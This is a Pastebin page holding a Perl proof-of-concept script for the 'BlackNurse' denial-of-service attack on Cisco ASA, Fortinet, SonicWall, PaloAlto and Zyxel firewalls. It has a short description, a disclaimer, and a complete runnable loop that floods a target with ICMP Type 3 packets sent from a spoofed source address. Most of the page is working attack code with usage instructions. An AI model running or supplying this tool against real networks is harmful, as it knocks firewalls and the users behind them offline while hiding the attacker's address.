hackerscommunity

Cisco SonicWall Fortinet Spoofed "BlackNurse" DoS PoC

Nov 15th, 2016
836
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.21 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. # Cisco ASA 5515/5525/5550/5515-X | Fotinet |
  4. # Fortigate | SonicWall | PaloAlto | Zyxel NWA3560-N |
  5. # Zyxel Zywall USG50 Spoofed "BlackNurse" DoS PoC
  6. #
  7. #  Copyright 2016 (c) Todor Donev
  8. #  Varna, Bulgaria
  9. #  https://www.ethical-hacker.org/
  10. #  https://www.facebook.com/ethicalhackerorg
  11. #  http://pastebin.com/u/hackerscommunity
  12. #
  13. #
  14. #  Description:
  15. #  Blacknurse is a low bandwidth ICMP attack that is capable of doing denial
  16. #  of service to well known firewalls. Most ICMP attacks that we see are based
  17. #  on ICMP Type 8 Code 0 also called a ping flood attack. BlackNurse is based
  18. #  on ICMP with Type 3 Code 3 packets. We know that when a user has allowed ICMP
  19. #  Type 3 Code 3 to outside interfaces, the BlackNurse attack becomes highly
  20. #  effective even at low bandwidth. Low bandwidth is in this case around 15-18
  21. #  Mbit/s. This is to achieve the volume of packets needed which is around 40 to
  22. #  50K packets per second. It does not matter if you have a 1 Gbit/s Internet
  23. #  connection. The impact we see on different firewalls is typically high CPU
  24. #  loads. When an attack is ongoing, users from the LAN side will no longer be
  25. #  able to send/receive traffic to/from the Internet. All firewalls we have seen
  26. #  recover when the attack stops.
  27. #
  28. #  Disclaimer:
  29. #  This or previous program is for Educational purpose ONLY. Do not
  30. #  use it without permission. The usual disclaimer applies, especially
  31. #  the fact that Todor Donev is not liable for any damages caused by
  32. #  direct or indirect use of the information or functionality provided
  33. #  by these programs. The author or any Internet provider bears NO
  34. #  responsibility for content or misuse of these programs or any
  35. #  derivatives thereof. By using these programs you accept the fact
  36. #  that any damage (dataloss, system crash, system compromise, etc.)
  37. #  caused by the use of these programs is not Todor Donev's
  38. #  responsibility.
  39. #
  40. #  Use at your own risk and educational
  41. #  purpose ONLY!
  42. #
  43. #  Thanks to Maya (Maiya|Mia) Hristova and all my friends
  44. #  that support me.
  45. #
  46. #
  47.  
  48. use Net::RawIP;
  49.  
  50. print "[ Cisco ASA 5515/5525/5550/5515-X | Fotinet | Fortigate | SonicWall | PaloAlto | Zyxel NWA3560-N | Zyxel Zywall USG50 Spoofed \"BlackNurse\" DoS PoC\n";
  51. print "[ ======\n";
  52. print "[ Usg: $0 <spoofed address> <target>\n";
  53. print "[ Example: perl $0 133.71.33.7 192.168.1.1\n";
  54. print "[ ======\n";
  55. print "[ <todor.donev\@gmail.com> Todor Donev\n";
  56. print "[ Facebook: https://www.facebook.com/ethicalhackerorg\n";
  57. print "[ Website: https://www.ethical-hacker.org/\n";
  58.  
  59. my $spoof          = $ARGV[0];
  60. my $target         = $ARGV[1];
  61.  
  62. my $sock =  new Net::RawIP({ icmp => {} }) or die;
  63.  
  64. print "[ Sending crafted packets..\n";
  65. while () {
  66.                 $sock->set({  ip =>  { saddr  => $spoof, daddr => $target},
  67.                               icmp =>  { type => 3, code => 3} });
  68.                 $sock->send;
  69.                 $sock->set({  icmp => { type=>3, code => 0}});
  70.                 $sock->send;
  71.                 $sock->set({  icmp => { type=>3, code => 1}});
  72.                 $sock->send;
  73.                 $sock->set({  icmp => { type=>3, code => 2}});
  74.                 $sock->send;
  75. }
Advertisement
Add Comment
Please, Sign In to add comment